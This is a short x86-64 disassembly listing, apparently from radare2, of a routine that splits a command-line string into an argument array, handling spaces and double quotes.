mov edx, esi
mov rcx, rsp
call fcn.10000be10
mov dil, 0
mov r14, r12
mov rdx, qword [0x10001e390]
movsxd rax, esi
mov r13, qword [rdx + rax*8]
jmp 0x10000bdb2
mov al, byte [r14]
cmp al, 1
jb 0x10000bda3
sub al, 1
sub al, 0x1f
jbe 0x10000bd7b
sub al, 2
je 0x10000bd8d
jmp 0x10000bda3
test dil, dil
je 0x10000bdb8
mov al, byte [r14]
mov byte [r13], al
add r13, 1
jmp 0x10000bdae
cmp byte [r14 + 1], 0x22
je 0x10000bd9d
test dil, dil
sete dil
jmp 0x10000bdae
add r14, 1
jmp 0x10000bdae
mov al, byte [r14]
mov byte [r13], al
add r13, 1
add r14, 1
cmp byte [r14], 0
jne 0x10000bd68
mov byte [r13], 0
add esi, 1
cmp byte [r14], 0
jne 0x10000bcd4
mov dword [0x10001e380], esi
movsxd rax, esi
lea rdx, [rax + 1]
shl rdx, 3
lea rcx, [0x10001e390]
call fcn.100009710
mov rax, qword [0x10001e390]
movsxd rsi, esi
mov qword [rax + rsi*8], 0
nop
lea rsp, [rsp + 0x138]
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
ret